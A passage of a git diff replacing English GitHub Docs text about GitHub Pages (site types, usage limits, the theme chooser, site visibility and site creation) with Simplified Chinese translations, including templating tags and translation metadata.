ifversion fpt %}”。{% else %}."{% endif %} {% endif %} + +若要开始,请参阅“[创建 {% data variables.product.prodname_pages %} 站点](/articles/creating-a-github-pages-site)”。 + +{% ifversion fpt or ghes or ghec %} 组织所有者可禁止从组织的存储库发布 {% data variables.product.prodname_pages %} 站点。 有关详细信息,请参阅“[为组织管理 {% data variables.product.prodname_pages %} 站点的发布](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)”。 {% endif %} -To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)." +## {% data variables.product.prodname_pages %} 站点的类型 -{% ifversion fpt or ghes or ghec %} -Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." +有三种类型的 {% data variables.product.prodname_pages %} 站点:项目、用户和组织。 项目站点连接到 {% data variables.product.product_name %} 上托管的特定项目,例如 JavaScript 库或配方集合。 用户和组织站点连接到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的特定帐户。 + +若要发布用户站点,必须创建名为 {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %} 的个人帐户拥有的存储库。 若要发布组织站点,必须创建名为 {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %} 的组织帐户拥有的存储库。 {% ifversion fpt or ghec %}除非使用的是自定义域,否则用户和组织站点在 `http(s)://.github.io` 或 `http(s)://.github.io` 中可用。{% elsif ghae %}用户和组织站点在 `http(s)://pages./` 或 `http(s)://pages./` 上可用。{% endif %} + +项目站点的源文件与其项目存储在同一个仓库中。 {% ifversion fpt or ghec %}除非使用的是自定义域,否则项目站点在 `http(s)://.github.io/` 或 `http(s)://.github.io/` 中可用。{% elsif ghae %}项目站点在 `http(s)://pages.///` 或 `http(s)://pages.///` 上可用。{% endif %} + +{% ifversion ghec %} 如果私下发布站点,则站点的 URL 将有所不同。 有关详细信息,请参阅“[更改 {% data variables.product.prodname_pages %} 站点的可见性](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)”。 {% endif %} -## Types of {% data variables.product.prodname_pages %} sites - -There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. - -To publish a user site, you must create a repository owned by your personal account that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://.github.io` or `http(s)://.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages./` or `http(s)://pages./`.{% endif %} - -The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://.github.io/` or `http(s)://.github.io/`.{% elsif ghae %}Project sites are available at `http(s)://pages.///` or `http(s)://pages.///`.{% endif %} - -{% ifversion ghec %} -If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +{% ifversion fpt or ghec %} 有关自定义域如何影响站点的 URL 的详细信息,请参阅“[关于自定义域和 {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)”。 {% endif %} -{% ifversion fpt or ghec %} -For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)." -{% endif %} +您只能为 {% data variables.product.product_name %} 上的每个帐户创建一个用户或组织站点。 项目站点(无论是组织还是个人帐户拥有)没有限制。 -You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a personal account, are unlimited. +{% ifversion ghes %} 你的站点可用的 URL 取决于是否为 {% data variables.product.product_location %} 启用了子域隔离。 -{% ifversion ghes %} -The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.location.product_location %}. - -| Type of site | Subdomain isolation enabled | Subdomain isolation disabled | +| 站点类型 | 子域隔离已启用 | 子域隔离已禁用 | | ------------ | --------------------------- | ---------------------------- | -User | `http(s)://pages./` | `http(s):///pages/` | -Organization | `http(s)://pages./` | `http(s):///pages/` | -Project site owned by personal account | `http(s)://pages.///` | `http(s):///pages///` -Project site owned by organization account | `http(s)://pages.///` | `http(s):///pages///` +用户 | `http(s)://pages./` | `http(s):///pages/` | +组织 | `http(s)://pages./` | `http(s):///pages/` | +个人帐户拥有的项目站点 | `http(s)://pages.///` | `http(s):///pages///` +组织帐户拥有的项目站点 | `http(s)://pages.///` | `http(s):///pages///` -For more information, see "[Enabling subdomain isolation](/enterprise/admin/installation/enabling-subdomain-isolation)" or contact your site administrator. +有关详细信息,请参阅“[启用子域隔离](/enterprise/admin/installation/enabling-subdomain-isolation)”或者与站点管理员联系。 {% endif %} -## Publishing sources for {% data variables.product.prodname_pages %} sites +## {% data variables.product.prodname_pages %} 站点的发布来源 {% data reusables.pages.private_pages_are_public_warning %} {% data reusables.pages.pages-about-publishing-source %} -For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." +有关详细信息,请参阅“[为 GitHub Pages 站点配置发布源](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)”。 {% ifversion ghec %} -## Limitations for {% data variables.product.prodname_emus %} -If you're a {% data variables.enterprise.prodname_managed_user %}, your use of {% data variables.product.prodname_pages %} is limited. +## {% data variables.product.prodname_emus %} 的限制 +如果你是 {% data variables.product.prodname_managed_user %},则 {% data variables.product.prodname_pages %} 的使用是受限的。 - - {% data variables.product.prodname_pages %} sites can only be published from repositories owned by organizations. - - {% data variables.product.prodname_pages %} sites are only visible to other members of the enterprise. - - You cannot create an organization site (a site published from a repository named `.github.io`) + - {% data variables.product.prodname_pages %} 站点只能从组织拥有的存储库发布。 + - {% data variables.product.prodname_pages %} 站点仅对企业的其他成员可见。 -For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." +有关 {% data variables.product.prodname_emus %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)”。 {% endif %} -## Static site generators +## 静态站点生成器 -{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. +{% data variables.product.prodname_pages %} 会发布您推送到仓库的任何静态文件。 您可以创建自己的静态文件或使用静态站点生成器为您构建站点。 您还可以在本地或其他服务器上自定义自己的构建过程。 {% ifversion pages-custom-workflow %} -If you use a custom build process or a static site generator other than Jekyll, you can write a {% data variables.product.prodname_actions %} to build and publish your site. {% data variables.product.product_name %} provides starter workflows for several static site generators. For more information, see "[Configuring a publishing source for your GitHub Pages site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)." +如果使用自定义生成过程或 Jekyll 以外的静态站点生成器,可以编写 {% data variables.product.prodname_actions %} 来生成和发布站点。 {% data variables.product.product_name %} 为多个静态站点生成器提供入门工作流。 有关详细信息,请参阅“[为 GitHub Pages 站点配置发布源](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)”。 -If you publish your site from a source branch, {% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, we recommend that you write a {% data variables.product.prodname_actions %} to build and publish your site instead. Otherwise, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. +如果从源分支发布站点,{% data variables.product.prodname_pages %} 将默认使用 Jekyll 生成站点。 如果想使用 Jekyll 以外的静态站点生成器,则建议编写 {% data variables.product.prodname_actions %} 来生成和发布站点。 否则,通过在发布源的根目录中创建一个名为 `.nojekyll` 的空文件来禁用 Jekyll 生成过程,然后按照静态站点生成器的说明在本地生成站点。 {% else %} -We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)." +我们建议使用 Jekyll,它是一个静态站点生成器,内置 {% data variables.product.prodname_pages %} 支持和简化的构建流程。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll)”。 -{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. +默认情况下,{% data variables.product.prodname_pages %} 将使用 Jekyll 来构建您的站点。 如果你想使用除 Jekyll 以外的静态站点生成器,通过在发布来源的根目录中创建一个名为 `.nojekyll` 的空文件来禁用 Jekyll 构建过程,然后按照静态站点生成器的说明在本地构建站点。 {% endif %} -{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python. +{% data variables.product.prodname_pages %} 不支持服务器端语言,例如 PHP、Ruby 或 Python。 -## Limits on use of {% data variables.product.prodname_pages %} +## {% data variables.product.prodname_pages %} 使用限制 +{% ifversion fpt or ghec %} 2016 年 6 月 15 日后创建并使用 `github.io` 域的 {% data variables.product.prodname_pages %} 站点通过 HTTPS 提供服务。 如果您在 2016 年 6 月 15 日之前创建站点,您可以为站点的流量启用 HTTPS 支持。 有关详细信息,请参阅“[使用 HTTPS 保护 {% data variables.product.prodname_pages %}](/articles/securing-your-github-pages-site-with-https)”。 + +### 禁止使用 +{% endif %} {% data variables.product.prodname_pages %} 并非旨在用于或允许用作免费的 Web 托管服务来运行你的在线业务、电子商务站点或主要针对促进商业交易或提供商业软件即服务 (SaaS) 的任何其他网站。 {% data reusables.pages.no_sensitive_data_pages %} + +此外,你对 {% data variables.product.prodname_pages %} 的使用受 [GitHub 服务条款](/free-pro-team@latest/github/site-policy/github-terms-of-service/)的约束,包括对快速致富计划、淫秽内容以及暴力或威胁性内容或活动的限制。 + +### 使用限制 +{% data variables.product.prodname_pages %} 站点受到以下使用限制的约束: + + - {% data variables.product.prodname_pages %} 源存储库的建议限制为 1 GB。{% ifversion fpt or ghec %}有关详细信息,请参阅“[我的磁盘配额是什么?](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations)”{% endif %} + - 发布的 {% data variables.product.prodname_pages %} 站点不得超过 1 GB。 {% ifversion fpt or ghec %} -{% data variables.product.prodname_pages %} sites created after June 15, 2016, and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)." + - {% data variables.product.prodname_pages %} 站点的软带宽限制为每月 100 GB。 + - {% data variables.product.prodname_pages %} 站点的软限制为每小时 10 次生成。{% ifversion pages-custom-workflow %} 如果使用自定义 {% data variables.product.prodname_actions %} 工作流生成和发布站点,则此限制不适用 {% endif %} + - 为了为所有 {% data variables.product.prodname_pages %} 站点提供一致的服务质量,可能会实施速率限制。 这些速率限制无意干扰 {% data variables.product.prodname_pages %} 的合法使用。 如果你的请求触发了速率限制,你将收到相应响应,其中包含 HTTP 状态代码 `429` 以及信息性 HTML 正文。 -### Prohibited uses -{% endif %} -{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web-hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %} - -In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get-rich-quick schemes, sexually obscene content, and violent or threatening content or activity. - -### Usage limits -{% data variables.product.prodname_pages %} sites are subject to the following usage limits: - - - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1 GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations)"{% endif %} - - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB. -{% ifversion fpt or ghec %} - - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100 GB per month. - - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour.{% ifversion pages-custom-workflow %} This limit does not apply if you build and publish your site with a custom {% data variables.product.prodname_actions %} workflow {% endif %} - - In order to provide consistent quality of service for all {% data variables.product.prodname_pages %} sites, rate limits may apply. These rate limits are not intended to interfere with legitimate uses of {% data variables.product.prodname_pages %}. If your request triggers rate limiting, you will receive an appropriate response with an HTTP status code of `429`, along with an informative HTML body. - -If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs. +如果您的站点超出这些使用配额,我们可能无法为您的站点提供服务;或者您可能收到来自 {% data variables.contact.contact_support %} 的礼貌电子邮件,建议降低站点对服务器影响的策略,包括将第三方内容分发网络 (CDN) 置于您的站点前,利用其他 {% data variables.product.prodname_dotcom %} 功能(如发行版)或转用可能更符合您需求的其他托管服务。 {% endif %} -## MIME types on {% data variables.product.prodname_pages %} +## {% data variables.product.prodname_pages %} 上的 MIME 类型 -A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db). +MIME 类型是服务器发送到浏览器的标头,提供有关浏览器所请求文件性质和格式的信息。 {% data variables.product.prodname_pages %} 支持数千种文件扩展名中 750 多种 MIME 类型。 支持的 MIME 类型列表是从 [mime-db 项目](https://github.com/jshttp/mime-db)生成的。 -While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). +虽然无法基于每个文件或每个仓库指定自定义 MIME 类型,但您可以添加或修改 MIME 类型以在 {% data variables.product.prodname_pages %} 上使用。 有关详细信息,请参阅 [mime-db 贡献指南](https://github.com/jshttp/mime-db#adding-custom-media-types)。 {% ifversion fpt %} -## Data collection +## 数据收集 -When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see {% data variables.product.prodname_dotcom %} Privacy Statement. +访问 {% data variables.product.prodname_pages %} 站点时,出于安全目的,无论访问者是否已登录 {% data variables.product.prodname_dotcom %} ,都会记录并存储访问者的 IP 地址。 有关 {% data variables.product.prodname_dotcom %} 的安全做法的详细信息,请参阅 {% data variables.product.prodname_dotcom %} 隐私声明。 {% endif %} -## Further reading +## 延伸阅读 -- [{% data variables.product.prodname_pages %}](https://github.com/skills/github-pages) on {% data variables.product.prodname_learning %} -- "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)" +- {% data variables.product.prodname_learning %} 上的 [{% data variables.product.prodname_pages %}](https://github.com/skills/github-pages) +- “[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)” diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md new file mode 100644 index 0000000000..01b1098f4a --- /dev/null +++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser.md @@ -0,0 +1,63 @@ +--- +title: 使用主题选择器将主题添加到 GitHub Pages 站点 +intro: 您可以将主题添加到 {% data variables.product.prodname_pages %} 站点,以自定义站点的外观。 +redirect_from: +- /articles/creating-a-github-pages-site-with-the-jekyll-theme-chooser +- /articles/adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser +- /articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser +- /github/working-with-github-pages/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghec: '*' +topics: +- Pages +shortTitle: Add theme to a Pages site +permissions: People with admin permissions for a repository can use the theme chooser to add a theme to a {% data variables.product.prodname_pages %} site. +ms.openlocfilehash: b38ce81802b5137f49fef076ffdc5a16392a446d +ms.sourcegitcommit: febc27cb8f2d53c97b51e614a941931f85ae5d95 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/27/2022 +ms.locfileid: "147428363" +--- +## 关于主题选择器 + +{% ifversion pages-custom-workflow %} + +{% note %} + +**注意**:使用自定义 {% data variables.product.prodname_actions %} 工作流发布的 {% data variables.product.prodname_pages %} 网站不支持 Jekyll 主题选择器。 如果使用 Jekyll 生成站点并使用自定义 {% data variables.product.prodname_actions %} 工作流发布站点,可以通过编辑 `_config.yml` 文件来添加主题。 有关详细信息,请参阅“[使用 Jekyll 将主题添加到 GitHub Pages 站点](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)”。 + +{% endnote %} + +{% endif %} + +主题选择器可用于向仓库添加 Jekyll 主题。 有关 Jekyll 的详细信息,请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll)”。 + +主题选择器如何工作取决于您的资源库是公共的还是私有的。 + - 如果已为仓库启用 {% data variables.product.prodname_pages %},主题选择器会将主题添加到当前发布源。 + - 如果您的仓库是公共的,并且已对仓库禁用 {% data variables.product.prodname_pages %},则使用主题选择器将启用 {% data variables.product.prodname_pages %} 并将默认分支配置为发布源。 + - 如果您的仓库是公共的,并且已对仓库禁用 {% data variables.product.prodname_pages %},则必须先通过配置发布源来启用 {% data variables.product.prodname_pages %},然后才可使用主题选择器。 + +有关发布源的详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/articles/about-github-pages#publishing-sources-for-github-pages-sites)”。 + +如果以前曾手动向仓库添加 Jekyll 主题,则这些文件在使用主题选择器后也可能应用。 为避免冲突,请先删除所有手动添加的主题文件夹和文件,然后再使用主题选择器。 有关详细信息,请参阅“[使用 Jekyll 将主题添加到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)”。 + +## 使用主题选择器添加主题 + +{% data reusables.pages.navigate-site-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.pages.sidebar-pages %} +3. 在“{% data variables.product.prodname_pages %}”下,单击“选择主题”或“更改主题” 。 + ![“选择主题”按钮](/assets/images/help/pages/choose-a-theme.png) +4. 在页面顶部,单击所需的主题,然后单击“选择主题”。 + ![“主题选项”和“选择主题”按钮](/assets/images/help/pages/select-theme.png) +5. 系统可能会提示你编辑站点的 README.md 文件。 + - 若要稍后编辑该文件,请单击“取消”。 + ![编辑文件时取消链接](/assets/images/help/pages/cancel-edit.png) + - 若要立即编辑文件,请参阅“[编辑文件](/repositories/working-with-files/managing-files/editing-files)”。 + +您选择的主题将自动应用到仓库中的 Markdown 文件。 要将主题应用到仓库中的 HTML 文件,您需要添加 YAML 前页,以指定每个文件的布局。 有关详细信息,请参阅 Jekyll 站点上的“[Front Matter](https://jekyllrb.com/docs/front-matter/)”。 + +## 延伸阅读 + +- Jekyll 站点上的[主题](https://jekyllrb.com/docs/themes/) diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md index 1dbd8c822b..6c43327f56 100644 --- a/translations/zh-CN/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md +++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site.md @@ -1,46 +1,49 @@ --- -title: Changing the visibility of your GitHub Pages site -intro: You can manage access control for your project site by publishing the site publicly or privately. +title: 更改 GitHub Pages 站点的可见性 +intro: 您可以通过公开或私下发布站点来管理项目站点的访问控制。 versions: ghec: '*' permissions: 'People with admin access to a repository can change the visibility of a {% data variables.product.prodname_pages %} site.' redirect_from: - /github/working-with-github-pages/changing-the-visibility-of-your-github-pages-site shortTitle: Change visibility of site +ms.openlocfilehash: f80ec04f0f16413414a4334e02ee3b45f534b46c +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145282855' --- +## 关于 {% data variables.product.prodname_pages %} 站点的访问控制 -## About access control for {% data variables.product.prodname_pages %} sites - -With access control for {% data variables.product.prodname_pages %}, you can restrict access to your project site by publishing the site privately. A privately published site can only be accessed by people with read access to the repository the site is published from. You can use privately published sites to share your internal documentation or knowledge base with members of your enterprise. +如果对 {% data variables.product.prodname_pages %} 具有访问控制权限,便可以通过私密发布站点来限制访问项目站点。 只有对发布站点的仓库具有读取权限的人才可访问私密发布的站点。 您可以使用私密发布的站点与企业成员分享您的内部文档或知识库。 {% data reusables.pages.privately-publish-ghec-only %} -If your enterprise uses {% data variables.product.prodname_emus %}, access control is not available, and all {% data variables.product.prodname_pages %} sites are only accessible to other enterprise members. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)." +如果企业使用 {% data variables.product.prodname_emus %},则访问控制不可用,且所有 {% data variables.product.prodname_pages %} 站点都只可供其他企业成员访问。 有关 {% data variables.product.prodname_emus %} 的详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users)”。 -If your organization uses {% data variables.product.prodname_ghe_cloud %} without {% data variables.product.prodname_emus %}, you can choose to publish your project sites privately or publicly to anyone on the internet. +如果组织使用 {% data variables.product.prodname_ghe_cloud %} 而没有 {% data variables.product.prodname_emus %},可以选择在 Internet 上私下或公开地向任何人发布项目站点。 -Access control is available for project sites that are published from a private or internal repository that are owned by the organization. You cannot manage access control for an organization site. For more information about the types of {% data variables.product.prodname_pages %} sites, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)." +从组织拥有的私人或内部仓库发布的项目站点可使用访问控制。 您无法管理组织站点的访问控制。 有关 {% data variables.product.prodname_pages %} 类型的详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites)”。 -## About subdomains for privately published sites +## 关于以私密方式发布的站点的子域 -Privately published sites are available at a different subdomain than publicly published sites. This ensures that your {% data variables.product.prodname_pages %} site is secure from the moment it's published: +私下发布的站点与公开发布的站点位于不同的子域中。 这可确保您的 {% data variables.product.prodname_pages %} 站点从发布之日起是安全的: -- We automatically secure every subdomain of `*.pages.github.io` with a TLS certificate, and enforce HSTS to ensure that browsers always serve the page over HTTPS. -- We use a unique subdomain for the privately published site to ensure that other repositories in your organization cannot publish content on the same origin as the site. This protects your site from "[cookie tossing](https://github.blog/2013-04-09-yummy-cookies-across-domains/)". This is also why we don't host {% data variables.product.prodname_pages %} sites on the `github.com` domain. +- 我们使用 TLS 证书自动保护 `*.pages.github.io` 的每个子域,并强制执行 HSTS 以确保浏览器始终通过 HTTPS 提供页面。 +- 我们对以私密方式发布的站点使用独特的子域,从而确保组织中其他存储库不能在与该站点相同的来源发布内容。 这样可以保护这些站点免受“[cookie 抛掷](https://github.blog/2013-04-09-yummy-cookies-across-domains/)”攻击。 这也是为什么我们不在 `github.com` 域上托管 {% data variables.product.prodname_pages %} 网站的原因。 -You can see your site's unique subdomain in the "Pages" tab of your repository settings. If you're using a static site generator configured to build the site with the repository name as a path, you may need to update the settings for the static site generator when changing the site to private. For more information, see "[Configuring Jekyll in your {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)" or the documentation for your static site generator. +可在存储库设置的“页面”选项卡中看到站点独特的子域。 如果您使用配置为以仓库名称为路径来构建站点的静态站点生成器,则在将站点更改为私有站点时可能需要更新静态站点生成器的设置。 有关详细信息,请参阅“[在 {% data variables.product.prodname_pages %} 网站中配置 Jekyll](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)”或静态网站生成器的文档。 -To use a shorter and more memorable domain for your privately published site, you can configure a custom domain. For more information, see "[Configuring a custom domain for your {% data variables.product.prodname_pages %} site](/pages/configuring-a-custom-domain-for-your-github-pages-site)." +若要为以私密方式发布的站点使用较短且更令人难忘的域,可配置自定义域。 有关详细信息,请参阅“[为你的 {% data variables.product.prodname_pages %} 网站配置自定义域](/pages/configuring-a-custom-domain-for-your-github-pages-site)”。 -## Changing the visibility of your {% data variables.product.prodname_pages %} site +## 更改 {% data variables.product.prodname_pages %} 站点的可见性 -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -3. Under "{% data variables.product.prodname_pages %}", select the **{% data variables.product.prodname_pages %} visibility** drop-down menu, then click a visibility. - ![Drop-down to choose a visibility for your site](/assets/images/help/pages/public-or-private-visibility.png) -4. To see your published site, under "{% data variables.product.prodname_pages %}", click **{% octicon "link-external" aria-label="The external link icon" %} Visit site**. - ![Screenshot of the "Visit site" button next to the URL of a privately published site](/assets/images/help/pages/click-private-pages-url-to-preview.png) +{% data reusables.pages.navigate-site-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.pages.sidebar-pages %} +3. 在 {% data variables.product.prodname_pages %} 下,选择“{% data variables.product.prodname_pages %} 可见性”下拉菜单,然后单击可见性。 + ![用于选择站点可见性的下拉列表](/assets/images/help/pages/public-or-private-visibility.png) +4. 要查看您已发布的站点,请在“{% data variables.product.prodname_pages %}”下点击您的站点 URL。 +![私下发布的网站的 URL](/assets/images/help/pages/click-private-pages-url-to-preview.png) {% note %} diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md index 6316dc931b..e30b08bb85 100644 --- a/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md +++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md @@ -1,6 +1,6 @@ --- -title: Creating a GitHub Pages site -intro: 'You can create a {% data variables.product.prodname_pages %} site in a new or existing repository.' +title: 创建 GitHub Pages 站点 +intro: '您可以在新仓库或现有仓库中创建 {% data variables.product.prodname_pages %} 站点。' redirect_from: - /articles/creating-pages-manually - /articles/creating-project-pages-manually @@ -17,55 +17,46 @@ versions: topics: - Pages shortTitle: Create a GitHub Pages site +ms.openlocfilehash: 83f953ac5c5c109abd5f63fd595642e4fd139113 +ms.sourcegitcommit: febc27cb8f2d53c97b51e614a941931f85ae5d95 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/27/2022 +ms.locfileid: '147428354' --- - {% data reusables.pages.org-owners-can-restrict-pages-creation %} -## Creating a repository for your site +## 为站点创建仓库 {% data reusables.pages.new-or-existing-repo %} -{% data reusables.repositories.create_new %} -{% data reusables.repositories.owner-drop-down %} -{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} -{% data reusables.pages.create-repo-name %} -{% data reusables.repositories.choose-repo-visibility %} -{% data reusables.repositories.initialize-with-readme %} -{% data reusables.repositories.create-repo %} +{% data reusables.repositories.create_new %} {% data reusables.repositories.owner-drop-down %} {% indented_data_reference reusables.pages.emu-org-only spaces=3 %} {% data reusables.pages.create-repo-name %} {% data reusables.repositories.choose-repo-visibility %} {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -## Creating your site +## 创建站点 {% data reusables.pages.must-have-repo-first %} {% data reusables.pages.private_pages_are_public_warning %} -{% data reusables.pages.navigate-site-repo %} -{% data reusables.pages.decide-publishing-source %} -1. Create the entry file for your site. {% data variables.product.prodname_pages %} will look for an `index.html`, `index.md`, or `README.md` file as the entry file for your site. +{% data reusables.pages.navigate-site-repo %} {% data reusables.pages.decide-publishing-source %} +1. 为站点创建入口文件。 {% data variables.product.prodname_pages %} 将查找 `index.html`、`index.md` 或 `README.md` 文件,作为站点的入口文件。 - {% ifversion pages-custom-workflow %}If your publishing source is a branch and folder, the entry file must be at the top level of the source folder on the source branch. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the `/docs` folder on a branch called `main`. + {% ifversion pages-custom-workflow %}如果发布源是分支和文件夹,则入口文件必须位于源分支上源文件夹的顶层。 例如,如果发布源是 `main` 分支上的 `/docs` 文件夹,则入口文件必须位于名为 `main` 的分支上的 `/docs` 文件夹。 - If your publishing source is a {% data variables.product.prodname_actions %} workflow, the artifact that you deploy must include the entry file at the top level of the artifact. Instead of adding the entry file to your repository, you may choose to have your {% data variables.product.prodname_actions %} workflow generate your entry file when the workflow runs.{% else %} - The entry file must be at the top level of your chosen publishing source. For example, if your publishing source is the `/docs` folder on the `main` branch, your entry file must be located in the 